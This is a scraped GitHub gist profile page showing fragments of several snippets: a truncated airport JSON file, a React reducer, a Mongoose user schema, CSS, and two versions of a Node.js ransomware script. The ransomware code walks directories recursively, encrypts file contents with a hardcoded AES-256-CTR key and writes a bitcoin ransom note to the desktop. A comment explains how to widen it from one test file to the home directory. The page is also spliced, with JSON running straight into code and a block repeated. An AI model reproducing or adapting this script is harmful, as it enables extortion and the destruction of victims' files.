Skip to content

Instantly share code, notes, and snippets.

View NathanLeadill's full-sized avatar
💭
Developing

Nathan Leadill NathanLeadill

💭
Developing
  • United Kingdom
View GitHub Profile
This file has been truncated, but you can view the full file.
{
"00AK": {
"icao": "00AK",
"iata": "",
"name": "Lowell Field",
"city": "Anchor Point",
"state": "Alaska",
"country": "US",
"elevation": 450,
;(async () => {
// Change ../ to homedir to loop through all the changes
for await (const f of getFiles('../')) {
// this is just a check so that I only encrypt one file.
if(f === '/Users/nathan/Documents/Projects/ransomware/test/test.txt') {
const data = fs.readFileSync(f, 'utf8')
fs.writeFileSync(f, encrypt(data))
fs.writeFileSync(`${homedir}/Desktop/unlock.txt`, 'To unlock your files you`ll need to send bitoin to this address')
}
}
;(async () => {
// Change ../ to homedir to loop through all the changes
for await (const f of getFiles('../')) {
// this is just a check so that I only encrypt one file.
if(f === '/Users/username/Documents/Projects/ransomware/test/test.txt') {
const data = fs.readFileSync(f, 'utf8')
fs.writeFileSync(f, encrypt(data))
}
}
})()
async function* getFiles(dir) {
const dirEntries = await readdir(dir, { withFileTypes: true });
for (const dirEntry of dirEntries) {
const res = resolve(dir, dirEntry.name);
if (dirEntry.isDirectory()) {
yield* getFiles(res);
} else {
yield res;
}
}
const encrypt = ((val) => {
let cipher = crypto.createCipheriv('aes-256-ctr', ENC_KEY, IV);
let encrypted = cipher.update(val, 'utf8', 'base64');
encrypted += cipher.final('base64');
return encrypted;
});
const ENC_KEY = Buffer.from("bf3c199c2470cb477d907b1e0917c17bbf3c199c2470cb477d907b1e0917c17b", "hex");
const IV = Buffer.from("5183666c72eec9e45183666c72eec9e4", "hex");
const fs = require('fs');
const { resolve } = require('path');
const homedir = require('os').homedir();
const crypto = require('crypto');
const { readdir } = require('fs').promises;
const initial = {
firstName: '',
lastName: '',
info: ''
};
function exampleReducer(state, action) {
switch (action.type) {
case 'update_firstName':
return {
@NathanLeadill
NathanLeadill / test.js
Created January 3, 2021 16:29
test.js
const schema = mongoose.Schema({
_id: String,
firstName: String,
lastName: String,
username: String,
password: String,
email: String,
profile: Object,
games: Array,
balance: {
body {
background-color:black;
}